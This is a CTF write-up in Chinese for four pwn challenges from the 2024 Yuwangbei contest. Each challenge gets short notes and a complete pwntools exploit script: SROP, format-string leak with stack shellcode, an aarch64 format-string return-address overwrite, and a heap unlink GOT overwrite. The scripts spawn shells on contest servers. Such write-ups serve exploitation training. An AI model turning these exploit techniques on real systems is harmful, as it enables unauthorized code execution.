2024御网杯Pwn方向全部题解
pwn1
- 题目代码很简单,直接从rsp位置开始读,然后ret。同时题目中还有/bin/sh字符串
- 发现只可以控制rax寄存器的值,因此考虑srop。同时read返回值会存到rax中,甚至可以不用题目给的gadget,通过read返回值设置rax=15,进行srop
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')
p = process("/home/zp9080/PWN/asm")
# p=gdb.debug("/home/zp9080/PWN/asm",'b *0x40102D ')
# p=remote('8.147.134.27',36901)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
#b *$rebase(0x14F5)
def dbg():
gdb.attach(p,'b *0x40102D')
pause()
shl_rax=0x401030
xor_rcx_rax=0x0000000000401034
make_rax0=0x40103D
ret=0x000000000040102f
syscall_ret=0x40102D
my_read=0x40101b
signframe=SigreturnFrame()
signframe.rax=59
signframe.rdi=0x40200A
signframe.rsi=0
signframe.rdx=0
signframe.rip=syscall_ret
payload=p64(my_read)+p64(ret)*5+p64(syscall_ret)+bytes(signframe)
print(hex(len(payload)))
p.send(payload)
payload=p64(ret)+p64(ret)[:7]
p.send(payload)
p.interactive()
pwn2
- 有一次格式化字符串的机会
- 还有一次栈溢出的机会,可以往栈上写入shellcode最后覆盖返回地址为shellcode起始地址执行shellcode
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')
# p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *0x4007E2')
p=remote('101.200.58.4',10004)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc
def dbg():
gdb.attach(p,'b *0x400887')
pause()
# dbg()
pay=b'%8$p'
p.send(pay)
p.recvuntil('you want to ask?\n')
stack=int(p.recv(14),16)
print(hex(stack))
payload=asm(shellcraft.sh()).ljust(0x88,b'\x90')
payload+=p64(stack-0x90)
p.send(payload)
p.interactive()
pwn3
- 题目中有直接后门
- 只有add,edit,show功能,没有delete功能,但是发现show有个格式化字符串漏洞
- 那这道aarch架构的堆就变成一道非栈上的格式化字符串的题了,找到栈上的跳板覆盖返回地址为后门即可
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
context(os='linux', arch='aarch64', log_level='debug')
binary_path = "/home/zp9080/PWN/pwn"
qemu_bin = 'qemu-aarch64' # Ensure this is installed
# p = process([qemu_bin,'-L','/usr/aarch64-linux-gnu/','-g', '1234', binary_path])
# p = process([qemu_bin, '-L','/usr/aarch64-linux-gnu/', binary_path])
p=remote('101.200.58.4',5555)
script='''
gdb-multiarch pwn -q
set architecture aarch64
target remote localhost:1234
'''
libc=ELF("/home/zp9080/PWN/libc-2.27.so")
def dbg():
gdb.attach(p,script)
pause()
menu="Your choice: "
def add(idx,size):
p.sendlineafter(menu,str(97))
p.sendlineafter("PFdata index: ",str(idx))
p.sendlineafter("PFData size: ",str(size))
def edit(idx,cont):
p.sendlineafter(menu,str(101))
p.sendlineafter("PFdata index: ",str(idx))
p.sendafter("Database content: ",cont)
def show(idx):
p.sendlineafter(menu,str(115))
p.sendlineafter("PFdata index: ",str(idx))
# p.recvuntil('stderr ')
# libcbase=int(p.recv(10),16)-0x155480
# print(hex(libcbase))
# malloc_hook=libcbase+libc.sym['__malloc_hook']
#sp=8
add(0,0x400)
edit(0,b'%8$p%9$p')
show(0)
p.recvuntil('Database content: ')
stack=int(p.recv(12),16)
ret=stack-0x18
pie=int(p.recv(12),16)-0xea0
print(hex(pie))
print(hex(ret))
backdoor=pie+0xD40
# payload=f"%{ret&0xff}c%8$hhn%{(backdoor&0xffff)-(ret&0xff)}c%12$hn"
payload=f"%{ret&0xffff}c%8$hn"
add(1,0x400)
edit(1,payload)
show(1)
payload=f"%{(backdoor&0xffff)}c%12$hn"
add(2,0x400)
edit(2,payload)
show(2)
p.interactive()
pwn4
- 看着像一道传统堆题,而且只能申请largebin 大小的堆块
- checksec发现竟然有no pie,partial relro,这里就想到可以用unlink控制chunklist,进而控制堆结构体,最终就可以实现任意地址写任意值
- 最后是把malloc_got覆盖为题目中的后门,再add触发后门即可getshell
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')
# p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *0x40102D ')
p=remote('101.200.58.4',2222)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
#b *$rebase(0x14F5)
def dbg():
gdb.attach(p,'b *0x4016DE')
pause()
menu='>'
def add(idx,size):
p.sendlineafter(menu,str(1))
p.sendlineafter("Index: ",str(idx))
p.sendlineafter("Size: ",str(size))
def delete(idx):
p.sendlineafter(menu,str(2))
p.sendlineafter("Index: ",str(idx))
def edit(idx,cont):
p.sendlineafter(menu,str(3))
p.sendlineafter("Index: ",str(idx))
p.sendafter("Content: ",cont)
def show(idx):
p.sendlineafter(menu,str(4))
p.sendlineafter("Index: ",str(idx))
add(0,0x518)
add(1,0x518)
delete(0)
heap_list = 0x4040E0
fd = heap_list - 0x18
bk = heap_list - 0x10
pay = p64(0) + p64(0x511)
pay += p64(fd) + p64(bk)
pay = pay.ljust(0x510,b'\x00')
pay += p64(0x510)
edit(0,pay)
delete(1)
# dbg()
backdoor=0x4011D6
malloc_got=0x404050
edit(0,p64(0)*4+p64(malloc_got))
edit(1,p64(backdoor))
add(2,0x500)
p.interactive()
0 条评论
可输入 255 字